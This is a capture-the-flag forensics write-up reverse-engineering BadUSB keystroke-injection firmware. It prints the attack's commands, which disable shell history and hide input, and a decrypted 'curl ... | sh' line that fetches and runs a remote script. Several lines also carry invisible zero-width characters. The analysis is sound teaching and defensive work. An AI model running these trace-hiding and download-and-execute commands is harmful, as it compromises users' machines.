← Back to Writeups
CUSTOMMediumForensics

BadUSB

XESXOR9/2/20264 min read
#forensics#custom#medium#avr_firmware_reversing#github_branch_enumeration#hid_attack_analysis#openssl_aes_decryption#xor_single_byte_decryption#linux

BadUSB

Platform: duckerz | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: avr_firmware_reversing, github_branch_enumeration, hid_attack_analysis, openssl_aes_decryption, xor_single_byte_decryption

Summary

Task: Analyze BadUSB firmware (Arduino Micro ELF) to identify the attacker. Solution: Reverse AVR firmware, extract XOR key (0x48) to decrypt password, use it to decrypt AES-256-CBC payload revealing GitHub URL, enumerate repository branches to find hidden fl46 branch with flag.

BadUSB — duckerz CTF

Description

Когда я отвернулся, чтобы взять чашку чая, неизвестный воспользовался моим USB-портом и взломал меня! Помогите мне определить, кто это был.

Files: BadUSB.elf — ELF 32-bit LSB executable, Atmel AVR 8-bit (ATmega32u4, Arduino Micro), statically linked, with debug_info, not stripped.

Analysis

The file is firmware for Arduino Micro (ATmega32u4), a classic device for BadUSB/HID attacks. The device emulates a USB keyboard and automatically types commands on the victim's computer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

String Extraction

bash
strings BadUSB.elf

Key findings:

  • Arduino LLC / Arduino Micro — device identification
  • term — opens terminal on victim's machine
  • stty -echo — hides keyboard input
  • export HISTFILE= — disables bash history logging
  • echo 'U2FsdGVkX1/HHvQ8yBXzgMQ+1eJDkblHvPcMfy6LImuJyvT3OGhNLIGCTeD+UeemguAsiN/ZLke0fVT4eHVSTGapmIQYUotoz9fjKutjXTwnwuE39j4sPAhfGBXyjpZB5JXGxtcSwuf3QhmKuuzffA==' | openssl enc -aes-256-cbc -d -a -pass pass: — AES-256-CBC payload decryption with password
  • ~qxp~|.*xx — XOR-encoded password string
  • 2>/dev/null| bash 2>/dev/null — result is piped to bash
  • exit — closes terminal ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Debug symbols reveal functions: get_pass, crack, startTerminal, Keyboard_press, Keyboard_write, sendReport.

Build paths: /home/zavrik/.arduino15/..., /home/zavrik/DUCKERZ/Tasks/BadUSB, source file BadUSB.ino.

Solution

Step 1: Disassembling AVR Firmware

bash
avr-objdump -d BadUSB.elf > disasm.txt

Analysis of the main function (address 0x135c) revealed the attack sequence:

  1. Hardware initialization (USB, timers, pins)
  2. delay(1) — wait 1ms
  3. Keyboard.press(0x83) — GUI key press (opens search/run on victim's OS)
  4. delay(45) — wait
  5. Release all keys
  6. Type term + Enter — open terminal
  7. delay(100) — wait for terminal to open
  8. Keyboard.write(0xB0) — press Enter
  9. delay(2000) — wait
  10. Type stty -echo — hide input
  11. delay(50)
  12. Type export HISTFILE= — disable history
  13. XOR loop for password decryption
  14. Type full openssl command with decrypted password
  15. Type 2>/dev/null| bash 2>/dev/null — pipe to bash
  16. Type exit — close terminal ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Recovering the XOR Key

The critical XOR loop is located at addresses 0x1584–0x15a6:

asm
1584:   38 e4       ldi r19, 0x48       ; XOR key = 0x48 ('H')
1586:   08 17       cp  r16, r24        ; loop counter check
...
159e:   2c 91       ld  r18, X          ; load byte from source
15a0:   23 27       eor r18, r19        ; XOR with 0x48
15a2:   21 93       st  Z+, r18         ; store result
15a4:   01 96       adiw r24, 0x01      ; increment counter
15a6:   ef cf       rjmp .-34           ; jump back to loop start

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source data is taken from address 0x0234 in program memory. The string ~qxp~|.*xx is the XOR-encoded password.

Step 3: Decrypting the Password

python
#!/usr/bin/env python3
encoded = b'~qxp~|.*xx'
key = 0x48  # 'H'
password = ''.join(chr(b ^ key) for b in encoded)
print(f"Password: {password}")
# Result: 690864fb00

Verification: ~ (0x7E) ^ 0x48 = 0x36 = 6, q (0x71) ^ 0x48 = 0x39 = 9, x (0x78) ^ 0x48 = 0x30 = 0, etc.

Step 4: Decrypting the OpenSSL Payload

bash
echo 'U2FsdGVkX1/HHvQ8yBXzgMQ+1eJDkblHvPcMfy6LImuJyvT3OGhNLIGCTeD+UeemguAsiN/ZLke0fVT4eHVSTGapmIQYUotoz9fjKutjXTwnwuE39j4sPAhfGBXyjpZB5JXGxtcSwuf3QhmKuuzffA==' \
  | openssl enc -aes-256-cbc -d -a -pass pass:690864fb00

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

curl https://raw.githubusercontent.com/6r347h4ck3r/BadUSB/refs/heads/main/hack.sh | sh

The BadUSB downloads and executes a script from GitHub user 6r347h4ck3r (leet-speak: "greathacker").

Step 5: Investigating the GitHub Repository

The main branch contained hack.sh — a decoy with echo "You will be hacked!".

Enumerating all repository branches revealed a hidden branch fl46 (leet-speak: "flag"):

bash
# List branches
curl -s https://api.github.com/repos/6r347h4ck3r/BadUSB/branches | jq '.[].name'
# "fl46"
# "main"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Get flag from fl46 branch
curl -s https://raw.githubusercontent.com/6r347h4ck3r/BadUSB/fl46/flag.txt
# DUCKERZ{REDACTED}

Full Attack Chain (Reconstruction)

BadUSB.elf (Arduino Micro firmware)
  → Emulates keyboard
  → Opens terminal (GUI key + "term")
  → Hides traces (stty -echo, export HISTFILE=)
  → XOR decryption of password (key=0x48, "~qxp~|.*xx" → "690864fb00")
  → AES-256-CBC payload decryption with password
  → curl ... | sh (download and execute hack.sh)
  → Close terminal

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍